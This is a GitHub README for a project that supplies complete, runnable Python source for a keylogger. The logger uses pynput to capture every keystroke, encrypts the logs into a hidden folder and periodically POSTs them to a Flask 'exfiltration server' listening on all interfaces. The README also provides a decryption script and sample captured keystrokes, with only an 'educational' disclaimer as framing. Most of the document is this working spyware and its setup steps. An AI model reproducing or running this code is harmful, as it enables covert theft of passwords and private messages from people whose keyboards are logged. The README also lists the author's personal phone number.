White-Hat-007/PROJECT-Keylogger-with-Encrypted-Data-Exfiltration

GitHub: White-Hat-007/PROJECT-Keylogger-with-Encrypted-Data-Exfiltration

Stars: 1 | Forks: 1

# 🔐 Keylogger with Encrypted Data Exfiltration This project demonstrates the implementation of a **Python-based keylogger** that logs keystrokes, encrypts the data using symmetric encryption (`Fernet`), and **exfiltrates it** to a remote **Flask-based server** over HTTP POST requests. It includes a **kill switch**, **persistence logic**, and encrypted log storage. ## 🧠 Overview - Logs every key pressed using `pynput`. - Encrypts logs using a Fernet key (`cryptography` package). - Stores logs locally in a hidden `.syslogs` directory. - Periodically **exfiltrates** encrypted logs to a local Flask server. - **Kill switch** supported via a `kill.flag` file. - Built for educational, ethical, and simulation purposes only. ## 🛠 Tools & Libraries Used - Python 3.10+ - [pynput](https://pypi.org/project/pynput/) - [cryptography](https://pypi.org/project/cryptography/) - Flask - Requests Install dependencies: pip install pynput cryptography flask requests ## 📁 Project Structure KEYLOGGER/ │ ├── logger.py # Main keylogger script ├── exfil_server.py # Flask server for data exfiltration ├── encryption.key # Fernet key (auto-generated) ├── decrypt_log.py # Log decryption tool ├── kill.flag # Kill switch file (optional) ├── .syslogs/ # Encrypted logs folder └── received_data.bin # Server-side received payloads ## 🧾 Step-by-Step Guide ### 🔑 Step 1: Generate Encryption Key # save as generate_key.py from cryptography.fernet import Fernet key = Fernet.generate_key() with open("encryption.key", "wb") as f: f.write(key) print("Encryption key generated and saved as 'encryption.key'") Run: python generate_key.py ### 🎯 Step 2: Run Exfiltration Server # exfil_server.py from flask import Flask, request import datetime import os app = Flask(__name__) # Create directory for logs if not present RECEIVED_LOG_DIR = "exfil_received_logs" os.makedirs(RECEIVED_LOG_DIR, exist_ok=True) # Root route to verify server status @app.route("/", methods=["GET"]) def home(): return "🔐 Exfiltration Server is active. Awaiting POST requests at /exfil", 200 # Exfiltration endpoint supporting GET (for testing) and POST (for data) @app.route("/exfil", methods=["GET", "POST"]) def receive_data(): if request.method == "POST": payload = request.data timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H-%M-%S") source_ip = request.remote_addr payload_size = len(payload) print(f"[INFO] [{timestamp}] Received {payload_size} bytes from {source_ip}") filename = os.path.join(RECEIVED_LOG_DIR, f"payload_{timestamp}.bin") with open(filename, "wb") as f: f.write(b"===== PAYLOAD START =====\n") f.write(f"[{timestamp}] From: {source_ip}\n".encode()) f.write(payload) f.write(b"\n===== PAYLOAD END =====\n") # Optional logging with open(os.path.join(RECEIVED_LOG_DIR, "exfil_log.txt"), "a") as log: log.write(f"[INFO] [{timestamp}] Received {payload_size} bytes from {source_ip}\n") return "Payload received", 200 else: # GET method: friendly message for browser/testing return "Send a POST request with encrypted payload to /exfil", 200 if __name__ == "__main__": # Run on all interfaces so you can connect remotely app.run(host="0.0.0.0", port=5000) Run: python exfil_server.py ### 🎹 Step 3: Launch the Keylogger # logger.py import os import datetime import threading import time from pynput import keyboard from cryptography.fernet import Fernet import requests # Constants LOG_DIR = ".syslogs" KEY_FILE = "encryption.key" # Make sure this matches your file name exactly EXFIL_URL = "http://localhost:5000/exfil" # Load encryption key with open(KEY_FILE, "rb") as key_file: key = key_file.read() fernet = Fernet(key) log = [] def ensure_log_dir(): if not os.path.exists(LOG_DIR): os.makedirs(LOG_DIR) def encrypt_and_store(log_data): ensure_log_dir() if log_data: print("[+] Flushing and encrypting logs...") # Moved here encrypted_data = fernet.encrypt("".join(log_data).encode()) timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = os.path.join(LOG_DIR, f"log_{timestamp}.bin") with open(filename, "wb") as f: f.write(encrypted_data) simulate_exfil(filename) def simulate_exfil(filepath): try: with open(filepath, "rb") as f: data = f.read() response = requests.post(EXFIL_URL, data=data, timeout=5) if response.status_code == 200: print(f"[+] Exfiltrated {filepath} successfully.") else: print(f"[-] Exfiltration failed with status {response.status_code}") except Exception as e: print(f"[-] Exfiltration error: {e}") def check_kill_switch(): return os.path.exists("kill.flag") def flush_log(): global log if log: encrypt_and_store(log) log = [] def periodic_flush(): while True: time.sleep(30) if check_kill_switch(): flush_log() print("[*] Kill switch detected. Exiting.") exit() flush_log() def on_press(key): try: log.append(str(key.char)) except AttributeError: log.append(f"[{key}]") def main(): ensure_log_dir() print("[*] Logger started. Listening for keystrokes...") threading.Thread(target=periodic_flush, daemon=True).start() with keyboard.Listener(on_press=on_press) as listener: listener.join() if __name__ == "__main__": main() Run the logger: python logger.py Now type on your keyboard to generate logs. The logs will be flushed every 30 seconds. ### 🚫 Step 4: Kill Switch (Optional) To stop the logger gracefully: echo > kill.flag The logger checks for this file every 30 seconds and terminates if found. ### 🔓 Step 5: Decrypt Logs # decrypt_log.py import os from cryptography.fernet import Fernet LOG_DIR = ".syslogs" # Load encryption key with open("encryption.key", "rb") as f: key = f.read() fernet = Fernet(key) # Get list of files in .syslogs sorted by modified time, newest first files = sorted( (os.path.join(LOG_DIR, f) for f in os.listdir(LOG_DIR) if f.endswith(".bin")), key=os.path.getmtime, reverse=True ) if not files: print("No log files found in .syslogs directory.") exit() latest_file = files[0] print(f"Decrypting file: {latest_file}") with open(latest_file, "rb") as f: encrypted_data = f.read() try: decrypted_data = fernet.decrypt(encrypted_data) print("Decrypted log content:") print(decrypted_data.decode()) except Exception as e: print(f"Error decrypting file: {e}") ## ✅ Sample Output exfil_server.py Output Terminal * Serving Flask app 'exfil_server' * Debug mode: off WARNING: This is a development server. Do not use it in a production deployment. * Running on all addresses (0.0.0.0) * Running on http://127.0.0.1:5000 * Running on http://12.0.0.2:5000 Press CTRL+C to quit 127.0.0.1 - - [11/Jun/2025 16:37:40] "GET / HTTP/1.1" 200 - logger.py Output Terminal [+] Logger started. Listening for keystrokes... [+] Flushing and encrypting logs... [+] Exfiltrated .syslogs\log_20250611_163934.bin successfully. [*] Kill switch detected. Exiting. decrypt_log.py Output Terminal Decrypted log content: [Key.caps_lock]elevateabsisthebest[Key.space][Key.space] [Key.caps_lock]levate[Key.caps_lock]l[Key.caps_lock]abs[Key.caps_lock]i [Key.caps_lock]s[Key.caps_lock]t[Key.caps_lock]he[Key.caps_lock]b[Key.caps_lock]e [Key.caps_lock]s[Key.caps_lock]t[Key.space][Key.caps_lock]d[Key.caps_lock]a[Key.caps_lock]r ## 👨‍💻 Author **Darsh Chatrani** 🔗 [LinkedIn](https://linkedin.com/in/darshchatrani) 📞 Contact: +91 97899 57123